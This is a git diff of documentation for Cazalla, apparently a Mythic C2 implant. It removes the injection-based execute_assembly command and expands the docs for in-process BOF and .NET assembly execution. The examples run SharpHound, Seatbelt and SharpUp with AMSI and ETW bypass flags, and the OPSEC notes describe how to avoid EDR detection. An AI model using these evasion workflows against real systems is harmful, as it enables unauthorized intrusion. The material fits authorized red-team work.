commands[command_to_run]["input_type"] == "assembly_special": - # inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args] + # inline_execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args] parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {} # For inline_execute_assembly, it uses subtasks, so we might not get direct parameters - # For execute_assembly, it also uses subtasks - # These commands are handled via subtasks in Python, so they may not reach here directly - # But we'll handle them if they do + # This command is handled via subtasks in Python, so it may not reach here directly + # But we'll handle it if it does file_id = parameters.get("assembly_file", parameters.get("shellcode_file", "")) data = command_code + task_id diff --git a/README.md b/README.md index 7b83946..6f76fa1 100644 --- a/README.md +++ b/README.md @@ -201,7 +201,6 @@ For more information, see the [Mythic documentation on customizing public agents | `exit` | Terminate the implant | `exit` | | `inline_execute` | Execute a Beacon Object File (BOF) in the current process thread | `inline_execute -BOF whoami.x64.o -Arguments int32:1234` | | `inline_execute_assembly` | Execute a .NET Assembly in the current process using Inline-EA BOF | `inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit --amsi --etw` | -| `execute_assembly` | Execute a .NET Assembly in a remote process and retrieve output | `execute_assembly -Assembly SharpUp.exe -Arguments "audit"` | ### System Information diff --git a/documentation-payload/Cazalla/commands.md b/documentation-payload/Cazalla/commands.md index fd1063f..3542f4b 100644 --- a/documentation-payload/Cazalla/commands.md +++ b/documentation-payload/Cazalla/commands.md @@ -812,6 +812,7 @@ inline_execute -BOF [-Arguments ] - `string:hello` or `-z:hello` - Null-terminated string - `wchar:hello` or `-Z:hello` - Wide character string - `base64:abc==` or `-b:abc==` - Base64-encoded binary data +- `bytes:hexstring` - Hexadecimal string of bytes **Examples:** ``` @@ -821,29 +822,37 @@ inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP ``` **Features:** -- In-memory execution: BOFs are executed directly in the current process memory without creating new processes -- COFF loader: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution -- Beacon API compatibility: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.) -- Output capture: Automatically captures and returns BOF output -- Argument parsing: Supports multiple argument types (int16, int32, string, wchar, base64) +- **In-Memory Execution**: BOFs are executed directly in the current process memory without creating new processes +- **COFF Loader**: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution +- **Beacon API Compatibility**: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.) +- **Output Capture**: Automatically captures and returns BOF output via BeaconPrintf/BeaconOutput +- **Argument Parsing**: Supports multiple argument types (int16, int32, string, wchar, base64, bytes) +- **Thread Isolation**: BOFs execute in a separate thread with 30-second timeout to prevent agent crashes +- **Process Create Artifact**: Automatically creates a "Process Create" artifact for tracking **Output:** ``` -[inline_execute] BOF execution requested -[inline_execute] File ID: abc123... [BOF Output] Module Name: ntdll.dll Base Address: 0x7ffa12340000 +Size: 0x1f0000 ``` **OPSEC Considerations:** -- Process Create artifact: BOF execution creates a "Process Create" artifact that is logged -- Memory allocation: BOFs allocate executable memory which may be detected by EDR solutions -- API hooking: Some EDR solutions monitor API calls that BOFs make -- Symbol resolution: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged -- No new process: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors +- **MEDIUM OPSEC RISK**: In-process execution reduces some detection vectors compared to process spawning +- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged in Mythic +- **Memory Allocation**: BOFs allocate executable memory (PAGE_EXECUTE_READWRITE) which may be detected by EDR solutions +- **API Monitoring**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged by EDR/XDR +- **Memory Scanning**: Allocated executable memory may be scanned by EDR memory protection features +- **No New Process**: Unlike `shell`, BOFs execute in-process, reducing some detection vectors +- **Thread Isolation**: BOFs execute in a separate thread with timeout protection -**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support) +**Technical Details:** +- Arguments are serialized using Packer format: `[size:4 bytes LE][data]` +- Boolean values are automatically converted to integers (0 or 1) before serialization +- BOFs that hang will timeout after 30 seconds and output will still be captured + +**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process), [Artifacts Support](features.md#artifacts-support), [Detailed Documentation](commands/inline_execute.md) --- @@ -862,7 +871,7 @@ inline_execute_assembly -Assembly [-Arguments ] [--patchex - `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly - `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting - `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections -- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite` +- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite` to point to a function that returns immediately **Examples:** ``` @@ -872,60 +881,51 @@ inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit ``` **Features:** -- In-process execution: Executes .NET assemblies in the current process without spawning new processes -- AMSI bypass: Optional AMSI bypass by patching clr.dll (more evasive than patching amsi.dll) -- ETW bypass: Optional ETW bypass via EAT hooking -- Exit patch: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent -- Output capture: Automatically captures and returns assembly output -- BOF-based: Uses the Inline-EA BOF under the hood (executed via `inline_execute`) +- **In-Process Execution**: Executes .NET assemblies in the current process without spawning new processes +- **AMSI Bypass**: Optional AMSI bypass by patching `clr.dll` (more evasive than patching `amsi.dll`) +- **ETW Bypass**: Optional ETW bypass via EAT hooking +- **Exit Patch**: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent +- **Output Capture**: Automatically captures and returns assembly output via completion callback +- **BOF-Based**: Uses the Inline-EA BOF (`inline-ea.x64.o`) under the hood (executed via `inline_execute`) +- **Process Create Artifact**: Automatically creates a "Process Create" artifact for tracking +- **Subtask Integration**: Creates a subtask that calls `inline_execute`, with output aggregated via completion callback + +**How It Works:** +1. Retrieves the .NET assembly from Mythic +2. Searches for the Inline-EA BOF (`inline-ea.x64.o`) in Mythic's file store +3. Creates a subtask that calls `inline_execute` with the Inline-EA BOF +4. Passes the .NET assembly as raw bytes (hex-encoded) to the BOF +5. BOF loads the assembly into memory using .NET CLR APIs +6. Optional bypasses (AMSI, ETW) are applied if requested via flags +7. Assembly's entry point is executed with the provided arguments +8. Output is captured via `BeaconPrintf` and returned to the parent task through a completion callback + +**Output:** +``` +SharpUp execution started... +[*] Checking for insecure file permissions... +[*] Checking for unquoted service paths... +[+] Found: C:\Program Files\Vulnerable Service\service.exe +[*] Completed Privesc Checks in 17 seconds +``` **OPSEC Considerations:** -- Process Create artifact: Assembly execution creates a "Process Create" artifact -- CLR loading: Loading .NET assemblies into memory may be detected by EDR solutions -- AMSI bypass: Patching clr.dll for AMSI bypass may trigger behavioral detections -- ETW bypass: EAT hooking may be detected by advanced EDR solutions -- No new process: Executes in-process, reducing some detection vectors compared to `execute_assembly` +- **MEDIUM OPSEC RISK**: In-process execution provides better OPSEC than process spawning (no process injection) +- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact that is logged in Mythic +- **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions +- **AMSI Bypass**: Patching `clr.dll` for AMSI bypass may trigger behavioral detections (more evasive than patching `amsi.dll`) +- **ETW Bypass**: EAT hooking `advapi32.dll!EventWrite` may be detected by advanced EDR solutions +- **No New Process**: Executes in-process, reducing some detection vectors compared to process spawning +- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned by EDR +- **Thread Isolation**: BOF execution runs in a separate thread with timeout protection -**Related:** [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support) +**Technical Details:** +- Uses Inline-EA BOF developed by @EricEsquivel (https://github.com/EricEsquivel/Inline-EA) +- Boolean flags (`--amsi`, `--etw`, `--patchexit`) are automatically converted to integers (0 or 1) for the BOF +- If BOF execution hangs, it will timeout after 30 seconds and output will still be captured +- Output is aggregated from the subtask and displayed directly in the main command (not as a subtask) ---- - -### `execute_assembly` - Execute .NET Assembly in Remote Process - -Execute a .NET Assembly in a remote process and retrieve its output. - -**Syntax:** -``` -execute_assembly -Assembly -Arguments -``` - -**Parameters:** -- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`) -- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute -- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly - -**Examples:** -``` -execute_assembly -Assembly SharpUp.exe -Arguments "audit" -execute_assembly -Assembly Seatbelt.exe -Arguments "all" -execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" -``` - -**Features:** -- Shellcode conversion: Automatically converts .NET assemblies to shellcode using Donut -- Process injection: Injects shellcode into a target process (defaults to current process) -- Output capture: Captures and returns assembly output -- No file system: Assembly is executed entirely in memory without writing to disk - -**OPSEC Considerations:** -- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions -- Shellcode injection: Donut shellcode injection may trigger behavioral detections -- Process Create artifact: Creates a "Process Create" artifact -- Memory scanning: Injected shellcode may be scanned by EDR memory protection -- API monitoring: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored -- Donut detection: Donut shellcode patterns may be detected by advanced security solutions - -**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process) (better OPSEC), [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [Artifacts Support](features.md#artifacts-support) +**Related:** [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [Artifacts Support](features.md#artifacts-support), [Detailed Documentation](commands/inline_execute_assembly.md) --- diff --git a/documentation-payload/Cazalla/commands/README.md b/documentation-payload/Cazalla/commands/README.md index c3795dd..9accc08 100644 --- a/documentation-payload/Cazalla/commands/README.md +++ b/documentation-payload/Cazalla/commands/README.md @@ -45,7 +45,6 @@ Complete documentation for all Cazalla agent commands, organized by category. - [`inline_execute`](inline_execute.md) - Execute Beacon Object Files (BOFs) - [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process -- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes ## Control Commands diff --git a/documentation-payload/Cazalla/commands/execute_assembly.md b/documentation-payload/Cazalla/commands/execute_assembly.md deleted file mode 100644 index 7ad4574..0000000 --- a/documentation-payload/Cazalla/commands/execute_assembly.md +++ /dev/null @@ -1,109 +0,0 @@ -# execute_assembly - Execute .NET Assembly in Remote Process - -Execute a .NET Assembly in a remote process and retrieve its output. - -## Description - -The `execute_assembly` command converts a .NET assembly to shellcode using Donut and injects it into a remote process (or the current process if no target is specified). The assembly is executed in the target process and its output is captured and returned. - -## Syntax - -``` -execute_assembly -Assembly -Arguments -``` - -## Parameters - -- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`) -- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute -- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly - -## Examples - -``` -# Execute assembly with arguments -execute_assembly -Assembly SharpUp.exe -Arguments "audit" - -# Execute Seatbelt with all checks -execute_assembly -Assembly Seatbelt.exe -Arguments "all" - -# Execute SharpHound for domain enumeration -execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" -``` - -## Features - -- **Shellcode Conversion**: Automatically converts .NET assemblies to shellcode using Donut -- **Process Injection**: Injects shellcode into a target process (defaults to current process) -- **Output Capture**: Captures and returns assembly output -- **No File System**: Assembly is executed entirely in memory without writing to disk - -## How It Works - -1. The command retrieves the .NET assembly from Mythic -2. The assembly is converted to shellcode using Donut -3. A subtask is created to call `inject_shellcode` with the generated shellcode -4. The shellcode is injected into the target process -5. The .NET assembly is loaded and executed in the target process -6. Output is captured and returned to Mythic - -## Output - -``` -[execute_assembly] Converting .NET Assembly to Shellcode... -[execute_assembly] Shellcode generated: 123456 bytes -[execute_assembly] Injecting shellcode into process... -[Assembly Output] -SharpUp execution started... -[*] Checking for insecure file permissions... -[+] Found: C:\Program Files\Vulnerable Service\service.exe -``` - -## OPSEC Considerations - -- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions -- **Shellcode Injection**: Donut shellcode injection may trigger behavioral detections -- **Process Create Artifact**: Creates a "Process Create" artifact -- **Memory Scanning**: Injected shellcode may be scanned by EDR memory protection -- **API Monitoring**: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored -- **Donut Detection**: Donut shellcode patterns may be detected by advanced security solutions - -## Technical Details - -### Donut Integration - -The command uses Donut to convert .NET assemblies to position-independent shellcode: -- Automatically handles .NET assembly loading -- Supports .NET Framework and .NET Core assemblies -- Generates position-independent shellcode -- Handles assembly dependencies - -### Process Injection - -The shellcode injection process: -1. Shellcode is generated from the .NET assembly -2. Shellcode is registered as a temporary file in Mythic -3. `inject_shellcode` command is called via subtask -4. Shellcode is injected into the target process -5. Assembly executes and output is captured - -## Error Handling - -The command handles various error scenarios: -- **Assembly Not Found**: Returns error if assembly file cannot be retrieved -- **Donut Conversion Failure**: Returns error if assembly cannot be converted to shellcode -- **Injection Failure**: Returns error if shellcode cannot be injected -- **Execution Failure**: Returns error if assembly fails to execute - -## Related - -- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process (better OPSEC) -- [`inline_execute`](inline_execute.md) - Execute BOFs directly -- [Artifacts Support](../features.md#artifacts-support) - ---- - -**Command Category:** Execution & Control -**Requires Admin:** No (unless injecting into protected process) -**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/), [T1620 - Reflective Code Loading](https://attack.mitre.org/techniques/T1620/) - diff --git a/documentation-payload/Cazalla/commands/inline_execute.md b/documentation-payload/Cazalla/commands/inline_execute.md index 0551c30..0834531 100644 --- a/documentation-payload/Cazalla/commands/inline_execute.md +++ b/documentation-payload/Cazalla/commands/inline_execute.md @@ -53,23 +53,26 @@ inline_execute -BOF custom_bof.x64.o -Arguments int32:5678 ## Output +The command returns the output captured from the BOF via `BeaconPrintf` or `BeaconOutput`: + ``` -[inline_execute] BOF execution requested -[inline_execute] File ID: abc123... -[inline_execute] Arguments: int32:1234 [BOF Output] Module Name: ntdll.dll Base Address: 0x7ffa12340000 Size: 0x1f0000 ``` +If the BOF produces no output, the command will indicate successful execution. + ## OPSEC Considerations -- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged -- **Memory Allocation**: BOFs allocate executable memory which may be detected by EDR solutions -- **API Hooking**: Some EDR solutions monitor API calls that BOFs make -- **Symbol Resolution**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged -- **No New Process**: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors +- **MEDIUM OPSEC RISK**: In-process execution reduces some detection vectors compared to process spawning +- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged in Mythic +- **Memory Allocation**: BOFs allocate executable memory (PAGE_EXECUTE_READWRITE) which may be detected by EDR solutions +- **API Monitoring**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged by EDR/XDR +- **Memory Scanning**: Allocated executable memory may be scanned by EDR memory protection features +- **No New Process**: Unlike `shell`, BOFs execute in-process, reducing some detection vectors +- **Thread Isolation**: BOFs execute in a separate thread with a 30-second timeout to prevent agent crashes ## Technical Details @@ -82,16 +85,32 @@ The COFF loader implementation: - Resolves external symbols via LoadLibraryA/GetProcAddress - Maps sections with PAGE_EXECUTE_READWRITE permissions +### Thread Isolation + +BOFs are executed in a separate thread to prevent agent crashes: +- **Timeout**: 30-second timeout for BOF execution +- **Thread Termination**: If BOF hangs, the thread is terminated after timeout +- **Output Capture**: Output is captured even if BOF hangs or times out +- **Agent Stability**: Main agent thread continues to function even if BOF crashes + ### Beacon API Compatibility The following Beacon API functions are supported: -- `BeaconPrintf` - Formatted output -- `BeaconOutput` - Raw output +- `BeaconPrintf` - Formatted output (captured and returned) +- `BeaconOutput` - Raw output (captured and returned) - `BeaconDataParse` - Parse input data - `BeaconDataInt`, `BeaconDataShort`, `BeaconDataExtract` - Data extraction - `BeaconUseToken`, `BeaconRevertToken` - Token manipulation - `BeaconIsAdmin` - Admin check +### Argument Serialization + +Arguments are serialized using the Packer class format: +- Each argument is prefixed with its size (4 bytes, little-endian) +- Arguments are packed sequentially: `[size:4][data][size:4][data]...` +- The total buffer size is prepended to the argument buffer +- Boolean values are converted to integers (0 or 1) before serialization + ## Error Handling The command handles various error scenarios: @@ -103,7 +122,6 @@ The command handles various error scenarios: ## Related - [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process -- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes - [Artifacts Support](../features.md#artifacts-support) --- diff --git a/documentation-payload/Cazalla/commands/inline_execute_assembly.md b/documentation-payload/Cazalla/commands/inline_execute_assembly.md index 6a9bf24..bc28e3c 100644 --- a/documentation-payload/Cazalla/commands/inline_execute_assembly.md +++ b/documentation-payload/Cazalla/commands/inline_execute_assembly.md @@ -45,32 +45,40 @@ inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit ## How It Works -1. The command creates a subtask that calls `inline_execute` with the Inline-EA BOF -2. The .NET assembly is passed to the BOF as raw bytes -3. The BOF loads the assembly into memory using .NET CLR APIs -4. Optional bypasses (AMSI, ETW) are applied if requested -5. The assembly's entry point is executed with the provided arguments -6. Output is captured and returned to Mythic +1. The command retrieves the .NET assembly from Mythic +2. The command searches for the Inline-EA BOF (`inline-ea.x64.o`) in Mythic's file store +3. A subtask is created that calls `inline_execute` with the Inline-EA BOF +4. The .NET assembly is passed to the BOF as raw bytes (hex-encoded) +5. The BOF loads the assembly into memory using .NET CLR APIs +6. Optional bypasses (AMSI, ETW) are applied if requested via flags +7. The assembly's entry point is executed with the provided arguments +8. Output is captured via `BeaconPrintf` and returned to the parent task through a completion callback +9. The completion callback aggregates the output and displays it in the main command ## Output +The command returns the output from the .NET assembly execution: + ``` -[inline_execute_assembly] Assembly execution requested -[BOF Output from Inline-EA] SharpUp execution started... [*] Checking for insecure file permissions... [*] Checking for unquoted service paths... [+] Found: C:\Program Files\Vulnerable Service\service.exe +[*] Completed Privesc Checks in 17 seconds ``` +The output is captured from the Inline-EA BOF execution and displayed directly in the main command (not as a subtask). + ## OPSEC Considerations -- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact +- **MEDIUM OPSEC RISK**: In-process execution provides better OPSEC than process spawning (no process injection) +- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact that is logged in Mythic - **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions -- **AMSI Bypass**: Patching clr.dll for AMSI bypass may trigger behavioral detections -- **ETW Bypass**: EAT hooking may be detected by advanced EDR solutions -- **No New Process**: Executes in-process, reducing some detection vectors compared to `execute_assembly` -- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned +- **AMSI Bypass**: Patching `clr.dll` for AMSI bypass may trigger behavioral detections (more evasive than patching `amsi.dll`) +- **ETW Bypass**: EAT hooking `advapi32.dll!EventWrite` may be detected by advanced EDR solutions +- **No New Process**: Executes in-process, reducing some detection vectors compared to process spawning +- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned by EDR +- **Thread Isolation**: BOF execution runs in a separate thread with timeout protection ## Technical Details @@ -84,22 +92,25 @@ This command uses the Inline-EA BOF developed by @EricEsquivel: ### Bypass Options -- **--patchexit**: Patches `System.Environment.Exit` to prevent the assembly from terminating the agent process -- **--amsi**: Bypasses AMSI by patching `clr.dll` instead of `amsi.dll` (more evasive) -- **--etw**: Bypasses ETW by hooking `advapi32.dll!EventWrite` via Export Address Table (EAT) hooking +- **--patchexit**: Patches `System.Environment.Exit` to prevent the assembly from terminating the agent process. Default: `false` +- **--amsi**: Bypasses AMSI by patching `clr.dll` instead of `amsi.dll` (more evasive than traditional AMSI bypasses). Default: `false` +- **--etw**: Bypasses ETW by hooking `advapi32.dll!EventWrite` via Export Address Table (EAT) hooking. Default: `false` + +**Note**: Boolean flags (`--amsi`, `--etw`, `--patchexit`) are automatically converted to integers (0 or 1) for the BOF. ## Error Handling The command handles various error scenarios: - **Assembly Not Found**: Returns error if assembly file cannot be retrieved from Mythic +- **BOF Not Found**: Returns error if Inline-EA BOF (`inline-ea.x64.o`) is not found in Mythic's file store - **BOF Execution Failure**: Returns error if Inline-EA BOF cannot be executed - **Assembly Load Failure**: Returns error if .NET assembly cannot be loaded - **Bypass Failure**: May fail silently if bypasses cannot be applied +- **Timeout**: If BOF execution hangs, it will timeout after 30 seconds and output will still be captured ## Related - [`inline_execute`](inline_execute.md) - Execute BOFs directly -- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes - [Artifacts Support](../features.md#artifacts-support) --- diff --git a/documentation-payload/Cazalla/examples.md b/documentation-payload/Cazalla/examples.md index e703291..6a28a2d 100644 --- a/documentation-payload/Cazalla/examples.md +++ b/documentation-payload/Cazalla/examples.md @@ -494,6 +494,41 @@ keylog_start keylog_stop ``` +### BOF Execution + +```bash +# Execute a BOF with no arguments +inline_execute -BOF whoami.x64.o + +# Execute a BOF with integer argument +inline_execute -BOF listmods.x64.o -Arguments int32:1234 + +# Execute a BOF with multiple arguments +inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP + +# Execute a BOF with base64-encoded data +inline_execute -BOF custom_bof.x64.o -Arguments base64:YWJjZGVm +``` + +### .NET Assembly Execution (In-Process) + +```bash +# Execute assembly with arguments +inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" + +# Execute with AMSI and ETW bypass +inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw + +# Execute with all bypasses enabled +inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --patchexit --amsi --etw + +# Execute privilege escalation check +inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit + +# Execute domain enumeration +inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --amsi --etw +``` + ### Complete Post-Exploitation Workflow ```bash @@ -608,6 +643,26 @@ whoami # (Commands run with domain credentials if token selected) ``` +### Code Execution Workflow + +```bash +# 1. Execute a BOF for lightweight operations +inline_execute -BOF whoami.x64.o +inline_execute -BOF listmods.x64.o -Arguments int32:1234 + +# 2. Execute .NET assembly for privilege escalation +inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit + +# 3. Execute .NET assembly with bypasses for enumeration +inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw + +# 4. Execute domain enumeration +inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --amsi --etw + +# Note: inline_execute_assembly provides better OPSEC than process spawning +# (no process injection, in-process execution) +``` + --- ## Tips and Best Practices diff --git a/documentation-payload/Cazalla/features.md b/documentation-payload/Cazalla/features.md index 28abe72..d8d7572 100644 --- a/documentation-payload/Cazalla/features.md +++ b/documentation-payload/Cazalla/features.md @@ -155,7 +155,6 @@ Cazalla automatically reports artifacts created during command execution, allowi | **Process Create** | `shell` | Command execution via cmd.exe | | **Process Create** | `inline_execute` | BOF execution in current process | | **Process Create** | `inline_execute_assembly` | .NET assembly execution in-process | -| **Process Create** | `execute_assembly` | .NET assembly execution via process injection | | **File Write** | `cp`, `mkdir`, `upload` | File creation or modification | | **File Delete** | `rm` | File or directory deletion | | **File Read** | `download` | File download operations | diff --git a/documentation-payload/Cazalla/logging.md b/documentation-payload/Cazalla/logging.md index 4bd3993..a1a8e7d 100644 --- a/documentation-payload/Cazalla/logging.md +++ b/documentation-payload/Cazalla/logging.md @@ -2,7 +2,7 @@ title = "Logging & Syslog" chapter = false weight = 50 -pre = "6. " +pre = "7. " +++ # 📊 Logging & Syslog diff --git a/documentation-payload/Cazalla/opsec.md b/documentation-payload/Cazalla/opsec.md index dc66730..430dcf9 100644 --- a/documentation-payload/Cazalla/opsec.md +++ b/documentation-payload/Cazalla/opsec.md @@ -78,7 +78,6 @@ These commands are **highly detectable** and require careful consideration: | Command | Risk Level | Detection Likelihood | Alternatives | |---------|-----------|---------------------|--------------| | `shell` | HIGH | High (cmd.exe spawn) | Use built-in Cazalla commands when possible | -| `execute_assembly` | HIGH | High (process injection, Donut shellcode) | `inline_execute_assembly` for in-process execution | | `steal_token` | HIGH | High (EDR/XDR monitoring) | `make_token` when credentials available | | `rm` (system files) | HIGH | Blocked for safety | Never delete system files | | `screenshot` | HIGH | Screen capture detection | Use sparingly, consider timing | @@ -90,7 +89,7 @@ These commands have **moderate detection risk**: | Command | Risk Level | Detection Likelihood | Notes | |---------|-----------|---------------------|-------| | `inline_execute` | MEDIUM | Memory allocation, API calls | In-process execution reduces some detection vectors | -| `inline_execute_assembly` | MEDIUM | CLR loading, memory allocation | Better OPSEC than `execute_assembly` (no process injection) | +| `inline_execute_assembly` | MEDIUM | CLR loading, memory allocation | In-process execution (no process injection) | | `download` | MEDIUM | File access logging | Large files may trigger DLP | | `upload` | MEDIUM | File write detection | Suspicious extensions monitored | | `socks` | MEDIUM | Network traffic analysis | High bandwidth usage | @@ -118,7 +117,6 @@ These commands have **low detection risk**: **Endpoint Detection and Response (EDR)** and **Extended Detection and Response (XDR)** solutions monitor: - **Process Creation**: `shell` command spawns `cmd.exe` (highly monitored) -- **Process Injection**: `execute_assembly` uses Donut shellcode injection (heavily monitored) - **Memory Allocation**: `inline_execute` and `inline_execute_assembly` allocate executable memory (may be scanned) - **CLR Loading**: Loading .NET assemblies into memory may trigger EDR detections - **Token Manipulation**: `steal_token` and `make_token` generate authentication events @@ -128,7 +126,7 @@ These commands have **low detection risk**: **Mitigation Strategies:** - Use built-in Cazalla commands instead of `shell` when possible -- Prefer `inline_execute_assembly` over `execute_assembly` for better OPSEC (in-process vs process injection) +- Use `inline_execute_assembly` for .NET assembly execution (in-process, no process injection) - Use `inline_execute` for BOFs when possible (no process creation) - Prefer `make_token` over `steal_token` when credentials are available - Avoid accessing LSASS or other critical system processes @@ -339,12 +337,7 @@ Built-in Cazalla commands: #### `inline_execute_assembly` - **Risk**: MEDIUM - **Detection**: CLR loading, memory allocation, AMSI/ETW bypass attempts may trigger behavioral detections -- **Best Practice**: Better OPSEC than `execute_assembly` (no process injection). Use `--amsi` and `--etw` flags when needed, but be aware they may be detected. - -#### `execute_assembly` -- **Risk**: HIGH -- **Detection**: Process injection (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread), Donut shellcode patterns, memory scanning -- **Best Practice**: Use only when necessary. Prefer `inline_execute_assembly` for better OPSEC. High detection risk due to process injection techniques. +- **Best Practice**: In-process execution (no process injection). Use `--amsi` and `--etw` flags when needed, but be aware they may be detected. #### `rev2self` - **Risk**: LOW